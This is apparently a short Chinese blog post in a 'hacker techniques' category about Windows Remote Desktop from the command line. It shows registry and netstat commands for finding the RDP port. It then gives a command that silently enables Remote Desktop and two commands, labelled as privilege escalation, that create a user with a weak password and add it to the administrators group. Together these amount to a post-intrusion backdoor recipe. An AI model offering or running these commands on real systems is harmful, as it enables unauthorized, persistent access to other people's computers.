CMD下查看远程桌面端口

 2014-01-08 01:50  黑客技术  暂无评论

很多朋友不知道怎樣在cmd下查看3389被 修改成了什麽。有時候注冊表讀其來不是太方便。、

REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server\WinStations\RDP-Tcp /v PortNumber 这条命令是查看远程桌面连接所开的端口是多少 一般默认显示是0xd3d   也就是3389 。
其實兩個 常見的cmd命令就可以搞定下來·

先用
tasklist /svc

TermService就是對應的3389服務，記下進程的PID

然後使用netstat命令查看對應的端口號

netstat /ano

另附一句cmd命令开启远程终端
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
免重启

提权cmd命令
net user yulu 1234 /add
net localgroup administrators yulu /add